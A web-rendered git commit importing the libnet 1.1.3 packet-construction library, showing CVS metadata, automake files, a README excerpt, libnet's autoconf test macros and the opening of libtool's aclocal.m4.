diff options
| author | Sam Roberts <sroberts@sroberts-desktop.(none)> | 2009-02-18 14:19:16 -0800 |
|---|---|---|
| committer | Sam Roberts <sroberts@sroberts-desktop.(none)> | 2009-02-18 14:19:16 -0800 |
| commit | 5ca6de2575d65f7664f326bee9fedd414a578a34 (patch) | |
| tree | 60ee74be734f223b6186cdff0bae02f64f3ab380 | |
| parent | c35d5ad62a9b45153cf638272a3d590729728c12 (diff) | |
| download | libnet-5ca6de2575d65f7664f326bee9fedd414a578a34.tar.gz | |
v1.1.3-RC-01 from http://www.packetfactory.net/projects/libnet/
288 files changed, 79592 insertions, 0 deletions
diff --git a/libnet/CVS/Entries b/libnet/CVS/Entries new file mode 100644 index 0000000..5c2ada6 --- /dev/null +++ b/libnet/CVS/Entries @@ -0,0 +1,25 @@ +/Makefile.am.common/1.3/Sat Jan 3 20:31:00 2004// +/config.guess/1.1.1.1/Thu Jun 26 21:55:10 2003// +/config.sub/1.1.1.1/Thu Jun 26 21:55:10 2003// +/install-sh/1.1.1.1/Thu Jun 26 21:55:10 2003// +/libnet-config.in/1.3/Sat Jan 3 20:31:00 2004// +/missing/1.1.1.1/Thu Jun 26 21:55:10 2003// +/mkinstalldirs/1.1.1.1/Thu Jun 26 21:55:10 2003// +/version.h.in/1.1.1.1/Thu Jun 26 21:55:10 2003// +D/autom4te.cache//// +D/doc//// +D/include//// +D/man//// +D/sample//// +D/src//// +D/win32//// +/acinclude.m4/1.3/Thu Jan 15 23:53:06 2004// +/README/1.4/Mon Mar 1 20:26:11 2004// +/aclocal.m4/1.9/Mon Mar 1 20:26:11 2004// +/Makefile.am/1.7/Wed Mar 10 20:57:09 2004// +/Makefile.in/1.17/Tue Nov 9 07:02:52 2004// +/configure/1.9/Fri Jun 18 18:19:20 2004// +/configure.in/1.10/Tue Nov 9 07:02:52 2004// +/acconfig.h/-1.2/dummy timestamp// +/autogen.sh/0/dummy timestamp// +/VERSION/-1.13/dummy timestamp// diff --git a/libnet/CVS/Repository b/libnet/CVS/Repository new file mode 100644 index 0000000..113b742 --- /dev/null +++ b/libnet/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet diff --git a/libnet/CVS/Root b/libnet/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/Makefile.am b/libnet/Makefile.am new file mode 100644 index 0000000..767763c --- /dev/null +++ b/libnet/Makefile.am @@ -0,0 +1,15 @@ +# $Id: Makefile.am,v 1.7 2004/03/01 20:26:11 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +include $(top_srcdir)/Makefile.am.common + +SUBDIRS = include src sample + +EXTRA_DIST = Makefile.am.common + +bin_SCRIPTS = libnet-config diff --git a/libnet/Makefile.am.common b/libnet/Makefile.am.common new file mode 100644 index 0000000..bbb6a8c --- /dev/null +++ b/libnet/Makefile.am.common @@ -0,0 +1,10 @@ +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# + +AUTOMAKE_OPTIONS = foreign no-dependencies + +DISTCLEANFILES = *~ diff --git a/libnet/Makefile.in b/libnet/Makefile.in new file mode 100644 index 0000000..afea6b8 --- /dev/null +++ b/libnet/Makefile.in @@ -0,0 +1,647 @@ +# Makefile.in generated by automake 1.9.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, +# 2003, 2004 Free Software Foundation, Inc. +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# $Id: Makefile.am,v 1.7 2004/03/01 20:26:11 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. 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Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + A C library for portable packet creation and injection. + + Libnet is an API to help with the construction and handling of network + packets. It provides a portable framework for low-level network + packet writing and handling (use libnet in conjunction with libpcap and + you can write some really cool stuff). Libnet includes packet creation + at the IP layer and at the link layer as well as a host of supplementary + and complementary functionality. Libnet is very handy with which to + write network tools and network test code. See the manpage and sample + test code for more detailed information. + + Your old code (circa libnet-1.0.x) WILL NOT WORK with libnet-1.1.x. + Read doc/MIGRATION for easy steps on porting your old code. + +EOF diff --git a/libnet/acinclude.m4 b/libnet/acinclude.m4 new file mode 100644 index 0000000..9e8a9d5 --- /dev/null +++ b/libnet/acinclude.m4 @@ -0,0 +1,468 @@ +dnl $Id: acinclude.m4,v 1.3 2004/01/15 23:53:06 mike Exp $ +dnl +dnl Libnet specific autoconf macros +dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +dnl All rights reserved. +dnl + +dnl +dnl Check for the Linux /proc filesystem +dnl +dnl usage: AC_LIBNET_LINUX_PROCFS +dnl results: HAVE_LINUX_PROCFS +dnl +AC_DEFUN([AC_LIBNET_LINUX_PROCFS], + [AC_MSG_CHECKING(for Linux proc filesystem) + AC_CACHE_VAL(ac_cv_libnet_linux_procfs, + if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then + ac_cv_libnet_linux_procfs=yes + else + ac_cv_libnet_linux_procfs=no + fi) + AC_MSG_RESULT($ac_cv_libnet_linux_procfs) + if test $ac_cv_libnet_linux_procfs = yes ; then + AC_DEFINE(HAVE_LINUX_PROCFS, 1, + [Define if you have the Linux /proc filesystem.]) + fi]) + +dnl +dnl Checks to see if this linux kernel has a working PF_PACKET +dnl +dnl usage: +dnl +dnl AC_LIBNET_CHECK_PF_PACKET +dnl +dnl results: +dnl +dnl HAVE_PACKET_SOCKET (DEFINED) +dnl + +AC_DEFUN([AC_LIBNET_CHECK_PF_PACKET], +[ + AC_MSG_CHECKING(for packet socket (PF_SOCKET)) + AC_CACHE_VAL(ac_libnet_have_packet_socket, + + [case "$target_os" in + + linux) + ac_libnet_have_packet_socket = no + ;; + *) + + cat > pf_packet-test.c << EOF +#include <stdio.h> +#include <errno.h> +#include <stdlib.h> +#include <netinet/in.h> +#include <sys/socket.h> +#include <features.h> /* for the glibc version number */ +#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 +#include <netpacket/packet.h> +#include <net/ethernet.h> /* the L2 protocols */ +#else +#include <asm/types.h> +#include <linux/if_packet.h> +#include <linux/if_ether.h> /* The L2 protocols */ +#endif + +#ifndef SOL_PACKET +#define SOL_PACKET 263 +#endif /* SOL_PACKET */ + +int +main(int argc, char **argv) +{ + int fd; + + fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd == -1) + { + if (errno == EPERM) + { + /* user's UID != 0 */ + printf("probably"); + exit (EXIT_FAILURE); + } + printf("no"); + exit (EXIT_FAILURE); + } + printf("yes"); + exit (EXIT_SUCCESS); +} +EOF + ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1 + + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x ./pf_packet-test ; then + ac_libnet_have_packet_socket=choked + else + ac_libnet_have_packet_socket=`./pf_packet-test`; + fi + if test $ac_libnet_have_packet_socket = choked; then + AC_MSG_RESULT(test program compile choked... assuming no) + elif test $ac_libnet_have_packet_socket = yes; then + AC_MSG_RESULT(yes) + elif test $ac_libnet_have_packet_socket = probably; then + AC_MSG_RESULT(test program got EPERM... assuming yes) + elif test $ac_libnet_have_packet_socket = no; then + AC_MSG_RESULT(no) + fi + + rm -f pf_packet-test* core core.pf_packet-test + ;; + esac]) + + if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then + AC_DEFINE(HAVE_PACKET_SOCKET, 1, + [Define if we're running on a Linux system with PF_PACKET sockets.]) + fi +]) + +dnl +dnl Looks for a previous libnet version and attempts to determine which verion +dnl it is. Version 0.8 was the first version that actually knew internally +dnl what version it was. +dnl +dnl usage: +dnl +dnl AC_LIBNET_CHECK_LIBNET_VERSION +dnl +dnl results: +dnl +dnl +dnl + +AC_DEFUN([AC_LIBNET_CHECK_LIBNET_VER], +[ + AC_CHECK_LIB(net, libnet_build_ip, AC_MSG_CHECKING(version) \ + +changequote(<<, >>)dnl + if [[ ! -f $LIB_PREFIX/libnet.a ]] ; then +changequote([, ])dnl + AC_MSG_RESULT($LIB_PREFIX/libnet.a doesn't exist) + AC_MSG_RESULT(previous libnet install lives elsewhere, you should probably find it) + else + __LIBNET_VERSION=`strings $LIB_PREFIX/libnet.a | grep "libnet version"\ + | cut -f3 -d" "`;\ + if test -z "$__LIBNET_VERSION"; then + AC_MSG_RESULT(<0.8) + else + AC_MSG_RESULT($__LIBNET_VERSION) + fi + fi\ + ) +]) + + +dnl +dnl Checks to see if this linux kernel uses ip_sum or ip_csum +dnl (Pulled from queso) +dnl +dnl usage: +dnl +dnl AC_LIBNET_CHECK_IP_CSUM +dnl +dnl results: +dnl +dnl HAVE_STRUCT_IP_CSUM (DEFINED) +dnl + +AC_DEFUN([AC_LIBNET_CHECK_IP_CSUM], +[ + AC_MSG_CHECKING([struct ip contains ip_csum]) + AC_TRY_COMPILE([ + #define __BSD_SOURCE + #define _BSD_SOURCE + #include <sys/types.h> + #include <netinet/in.h> + #include <netinet/in_systm.h> + #include <netinet/ip.h>], + [ + struct ip ip; + ip.ip_csum = 0; + ], + [AC_MSG_RESULT(yes); + AC_DEFINE(HAVE_STRUCT_IP_CSUM)], + [AC_MSG_RESULT(no); + ]) +]) + +dnl +dnl Checks to see if unaligned memory accesses fail +dnl (Pulled from libpcap) +dnl +dnl usage: +dnl +dnl AC_LBL_UNALIGNED_ACCESS +dnl +dnl results: +dnl +dnl LBL_ALIGN (DEFINED) +dnl + +AC_DEFUN([AC_LBL_UNALIGNED_ACCESS], + [AC_MSG_CHECKING(if unaligned accesses fail) + AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, + [case "$target_cpu" in + + alpha|hp*|mips|sparc) + ac_cv_lbl_unaligned_fail=yes + ;; + + *) + cat >conftest.c <<EOF +# include <sys/types.h> +# include <sys/wait.h> +# include <stdio.h> + unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; + main() + { + unsigned int i; + pid_t pid; + int status; + /* avoid "core dumped" message */ + pid = fork(); + if (pid < 0) + { + exit(2); + } + if (pid > 0) + { + /* parent */ + pid = waitpid(pid, &status, 0); + if (pid < 0) + { + exit(3); + } + exit(!WIFEXITED(status)); + } + /* child */ + i = *(unsigned int *)&a[[1]]; + printf("%d\n", i); + exit(0); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ + conftest.c $LIBS > /dev/null 2>&1 + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x conftest ; then + dnl failed to compile for some reason + ac_cv_lbl_unaligned_fail=yes + else + ./conftest > conftest.out + if test ! -s conftest.out ; then + ac_cv_lbl_unaligned_fail=yes + else + ac_cv_lbl_unaligned_fail=no + fi + fi + rm -f conftest* core core.conftest + ;; + esac]) + AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) + if test $ac_cv_lbl_unaligned_fail = yes ; then + AC_DEFINE(LBL_ALIGN, 1, + [Define if unaligned memory accesses fail.]) + fi +]) + + +dnl +dnl Checks endianess +dnl +dnl usage: +dnl +dnl AC_LIBNET_ENDIAN_CHECK +dnl +dnl results: +dnl +dnl LIBNET_BIG_ENDIAN = 1 or +dnl LIBNET_LIL_ENDIAN = 1 +dnl + +AC_DEFUN([AC_LIBNET_ENDIAN_CHECK], + [AC_MSG_CHECKING(machine endianess) + + cat > conftest.c << EOF +# include <stdio.h> +# include <stdlib.h> + + int main() + { + union + { + short s; + char c[[sizeof(short)]]; + } un; + + un.s = 0x0102; + if (sizeof (short) == 2) + { + if (un.c [[0]] == 1 && un.c [[1]] == 2) + { + printf("B\n"); + } + else + { + if (un.c [[0]] == 2 && un.c [[1]] == 1) + { + printf("L\n"); + } + } + } + else + { + printf("?\n"); + } + return (EXIT_SUCCESS); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1 + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x conftest ; then +dnl failed to compile for some reason + ac_cv_libnet_endianess=unknown + else + ./conftest > conftest.out + result=`cat conftest.out` + if test $result = "B"; then + ac_cv_libnet_endianess=big + elif test $result = "L"; then + ac_cv_libnet_endianess=lil + else + ac_cv_libnet_endianess=unknown + fi + fi + rm -f conftest* core core.conftest + + AC_MSG_RESULT($ac_cv_libnet_endianess) + + if test $ac_cv_libnet_endianess = big ; then + AC_DEFINE(LIBNET_BIG_ENDIAN, 1, + [We are running on a big-endian machine.]) + ENDIANESS="LIBNET_BIG_ENDIAN" + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN" + elif test $ac_cv_libnet_endianess = lil ; then + AC_DEFINE(LIBNET_LIL_ENDIAN, 1, + [We are running on a little-endian machine.]) + ENDIANESS="LIBNET_LIL_ENDIAN" + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN" + fi + ]) + +dnl +dnl Improved version of AC_CHECK_LIB +dnl +dnl Thanks to John Hawkinson (jhawk@mit.edu) +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [, +dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]]) +dnl +dnl results: +dnl +dnl LIBS +dnl + +define([AC_LBL_CHECK_LIB], +[AC_MSG_CHECKING([for $2 in -l$1]) +dnl Use a cache variable name containing both the library and function name, +dnl because the test really is for library $1 defining function $2, not +dnl just for library $1. Separate tests with the same $1 and different $2's +dnl may have different results. +ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'` +AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var, +[ac_save_LIBS="$LIBS" +LIBS="-l$1 $5 $LIBS" +AC_TRY_LINK(dnl +ifelse([$2], [main], , dnl Avoid conflicting decl of main. +[/* Override any gcc2 internal prototype to avoid an error. */ +]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus +extern "C" +#endif +])dnl +[/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $2(); +]), + [$2()], + eval "ac_cv_lbl_lib_$ac_lib_var=yes", + eval "ac_cv_lbl_lib_$ac_lib_var=no") +LIBS="$ac_save_LIBS" +])dnl +if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then + AC_MSG_RESULT(yes) + ifelse([$3], , +[changequote(, )dnl + ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` +changequote([, ])dnl + AC_DEFINE_UNQUOTED($ac_tr_lib) + LIBS="-l$1 $LIBS" +], [$3]) +else + AC_MSG_RESULT(no) +ifelse([$4], , , [$4 +])dnl +fi +]) + +dnl +dnl AC_LBL_LIBRARY_NET +dnl +dnl This test is for network applications that need socket() and +dnl gethostbyname() -ish functions. Under Solaris, those applications +dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link +dnl with "-lnsl" but should *not* link with "-lsocket" because +dnl libsocket.a breaks a number of things (for instance: +dnl gethostbyname() under IRIX 5.2, and snoop sockets under most +dnl versions of IRIX). +dnl +dnl Unfortunately, many application developers are not aware of this, +dnl and mistakenly write tests that cause -lsocket to be used under +dnl IRIX. It is also easy to write tests that cause -lnsl to be used +dnl under operating systems where neither are necessary (or useful), +dnl such as SunOS 4.1.4, which uses -lnsl for TLI. +dnl +dnl This test exists so that every application developer does not test +dnl this in a different, and subtly broken fashion. + +dnl It has been argued that this test should be broken up into two +dnl seperate tests, one for the resolver libraries, and one for the +dnl libraries necessary for using Sockets API. Unfortunately, the two +dnl are carefully intertwined and allowing the autoconf user to use +dnl them independantly potentially results in unfortunate ordering +dnl dependancies -- as such, such component macros would have to +dnl carefully use indirection and be aware if the other components were +dnl executed. Since other autoconf macros do not go to this trouble, +dnl and almost no applications use sockets without the resolver, this +dnl complexity has not been implemented. +dnl +dnl The check for libresolv is in case you are attempting to link +dnl statically and happen to have a libresolv.a lying around (and no +dnl libnsl.a). +dnl +AC_DEFUN([AC_LBL_LIBRARY_NET], +[ + # Most operating systems have gethostbyname() in the default searched + # libraries (i.e. libc): + AC_CHECK_FUNC(gethostbyname, , + # Some OSes (eg. Solaris) place it in libnsl: + AC_LBL_CHECK_LIB(nsl, gethostbyname, , + # Some strange OSes (SINIX) have it in libsocket: + AC_LBL_CHECK_LIB(socket, gethostbyname, , + # Unfortunately libsocket sometimes depends on libnsl. + # AC_CHECK_LIB's API is essentially broken so the + # following ugliness is necessary: + AC_LBL_CHECK_LIB(socket, gethostbyname, + LIBS="-lsocket -lnsl $LIBS", + AC_CHECK_LIB(resolv, gethostbyname), + -lnsl)))) + AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, , + AC_LBL_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", , + -lnsl))) + # DLPI needs putmsg under HPUX so test for -lstr while we're at it + AC_CHECK_LIB(str, putmsg) + ]) + diff --git a/libnet/aclocal.m4 b/libnet/aclocal.m4 new file mode 100644 index 0000000..f472589 --- /dev/null +++ b/libnet/aclocal.m4 @@ -0,0 +1,7037 @@ +# generated automatically by aclocal 1.9.1 -*- Autoconf -*- + +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +# Free Software Foundation, Inc. +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- + +# serial 47 AC_PROG_LIBTOOL + + +# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED) +# ----------------------------------------------------------- +# If this macro is not defined by Autoconf, define it here. +m4_ifdef([AC_PROVIDE_IFELSE], + [], + [m4_define([AC_PROVIDE_IFELSE], + [m4_ifdef([AC_PROVIDE_$1], + [$2], [$3])])]) + + +# AC_PROG_LIBTOOL +# --------------- +AC_DEFUN([AC_PROG_LIBTOOL], +[AC_REQUIRE([_AC_PROG_LIBTOOL])dnl +dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX +dnl immediately, otherwise, hook it in at the end of AC_PROG_CXX. + AC_PROVIDE_IFELSE([AC_PROG_CXX], + [AC_LIBTOOL_CXX], + [define([AC_PROG_CXX], defn([AC_PROG_CXX])[AC_LIBTOOL_CXX + ])]) +dnl And a similar setup for Fortran 77 support + AC_PROVIDE_IFELSE([AC_PROG_F77], + [AC_LIBTOOL_F77], + [define([AC_PROG_F77], defn([AC_PROG_F77])[AC_LIBTOOL_F77 +])]) + +dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly. +dnl If either AC_PROG_GCJ or A][M_PROG_GCJ have already been expanded, run +dnl AC_LIBTOOL_GCJ immediately, otherwise, hook it in at the end of both. + AC_PROVIDE_IFELSE([AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [ifdef([AC_PROG_GCJ], + [define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([A][M_PROG_GCJ], + [define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([LT_AC_PROG_GCJ], + [define([LT_AC_PROG_GCJ], + defn([LT_AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])])]) +])])# AC_PROG_LIBTOOL + + +# _AC_PROG_LIBTOOL +# ---------------- +AC_DEFUN([_AC_PROG_LIBTOOL], +[AC_REQUIRE([AC_LIBTOOL_SETUP])dnl +AC_BEFORE([$0],[AC_LIBTOOL_CXX])dnl +AC_BEFORE([$0],[AC_LIBTOOL_F77])dnl +AC_BEFORE([$0],[AC_LIBTOOL_GCJ])dnl + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' +AC_SUBST(LIBTOOL)dnl + +# Prevent multiple expansion +define([AC_PROG_LIBTOOL], []) +])# _AC_PROG_LIBTOOL + + +# AC_LIBTOOL_SETUP +# ---------------- +AC_DEFUN([AC_LIBTOOL_SETUP], +[AC_PREREQ(2.50)dnl +AC_REQUIRE([AC_ENABLE_SHARED])dnl +AC_REQUIRE([AC_ENABLE_STATIC])dnl +AC_REQUIRE([AC_ENABLE_FAST_INSTALL])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_PROG_LD])dnl +AC_REQUIRE([AC_PROG_LD_RELOAD_FLAG])dnl +AC_REQUIRE([AC_PROG_NM])dnl + +AC_REQUIRE([AC_PROG_LN_S])dnl +AC_REQUIRE([AC_DEPLIBS_CHECK_METHOD])dnl +# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers! +AC_REQUIRE([AC_OBJEXT])dnl +AC_REQUIRE([AC_EXEEXT])dnl +dnl + +AC_LIBTOOL_SYS_MAX_CMD_LEN +AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +AC_LIBTOOL_OBJDIR + +AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +_LT_AC_PROG_ECHO_BACKSLASH + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='sed -e s/^X//' +[sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'] + +# Same as above, but do not quote variable references. +[double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'] + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +# Constants: +rm="rm -f" + +# Global variables: +default_ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except M$VC, +# which needs '.lib'). +libext=a +ltmain="$ac_aux_dir/ltmain.sh" +ofile="$default_ofile" +with_gnu_ld="$lt_cv_prog_gnu_ld" + +AC_CHECK_TOOL(AR, ar, false) +AC_CHECK_TOOL(RANLIB, ranlib, :) +AC_CHECK_TOOL(STRIP, strip, :) + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$AR" && AR=ar +test -z "$AR_FLAGS" && AR_FLAGS=cru +test -z "$AS" && AS=as +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$DLLTOOL" && DLLTOOL=dlltool +test -z "$LD" && LD=ld +test -z "$LN_S" && LN_S="ln -s" +test -z "$MAGIC_CMD" && MAGIC_CMD=file +test -z "$NM" && NM=nm +test -z "$SED" && SED=sed +test -z "$OBJDUMP" && OBJDUMP=objdump +test -z "$RANLIB" && RANLIB=: +test -z "$STRIP" && STRIP=: +test -z "$ac_objext" && ac_objext=o + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="\$RANLIB -t \$oldlib~$old_postinstall_cmds" + ;; + *) + old_postinstall_cmds="\$RANLIB \$oldlib~$old_postinstall_cmds" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" +fi + +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# Only perform the check for file, if the check method requires it +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + AC_PATH_MAGIC + fi + ;; +esac + +AC_PROVIDE_IFELSE([AC_LIBTOOL_DLOPEN], enable_dlopen=yes, enable_dlopen=no) +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +enable_win32_dll=yes, enable_win32_dll=no) + +AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +AC_ARG_WITH([pic], + [AC_HELP_STRING([--with-pic], + [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], + [pic_mode="$withval"], + [pic_mode=default]) +test -z "$pic_mode" && pic_mode=default + +# Use C for the default configuration in the libtool script +tagname= +AC_LIBTOOL_LANG_C_CONFIG +_LT_AC_TAGCONFIG +])# AC_LIBTOOL_SETUP + + +# _LT_AC_SYS_COMPILER +# ------------------- +AC_DEFUN([_LT_AC_SYS_COMPILER], +[AC_REQUIRE([AC_PROG_CC])dnl + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC +])# _LT_AC_SYS_COMPILER + + +# _LT_AC_SYS_LIBPATH_AIX +# ---------------------- +# Links a minimal program and checks the executable +# for the system default hardcoded library path. In most cases, +# this is /usr/lib:/lib, but when the MPI compilers are used +# the location of the communication and MPI libs are included too. +# If we don't find anything, use the default library path according +# to the aix ld manual. +AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX], +[AC_LINK_IFELSE(AC_LANG_PROGRAM,[ +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi],[]) +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi +])# _LT_AC_SYS_LIBPATH_AIX + + +# _LT_AC_SHELL_INIT(ARG) +# ---------------------- +AC_DEFUN([_LT_AC_SHELL_INIT], +[ifdef([AC_DIVERSION_NOTICE], + [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], + [AC_DIVERT_PUSH(NOTICE)]) +$1 +AC_DIVERT_POP +])# _LT_AC_SHELL_INIT + + +# _LT_AC_PROG_ECHO_BACKSLASH +# -------------------------- +# Add some code to the start of the generated configure script which +# will find an echo command which doesn't interpret backslashes. +AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH], +[_LT_AC_SHELL_INIT([ +# Check that we are running under the correct shell. +SHELL=${CONFIG_SHELL-/bin/sh} + +case X$ECHO in +X*--fallback-echo) + # Remove one level of quotation (which was required for Make). + ECHO=`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` + ;; +esac + +echo=${ECHO-echo} +if test "X[$]1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X[$]1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then + # Yippee, $echo works! + : +else + # Restart under the correct shell. + exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} +fi + +if test "X[$]1" = X--fallback-echo; then + # used as fallback echo + shift + cat <<EOF +[$]* +EOF + exit 0 +fi + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +if test -z "$ECHO"; then +if test "X${echo_test_string+set}" != Xset; then +# find a string as large as possible, as long as the shell can cope with it + for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do + # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... + if (echo_test_string="`eval $cmd`") 2>/dev/null && + echo_test_string="`eval $cmd`" && + (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null + then + break + fi + done +fi + +if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + : +else + # The Solaris, AIX, and Digital Unix default echo 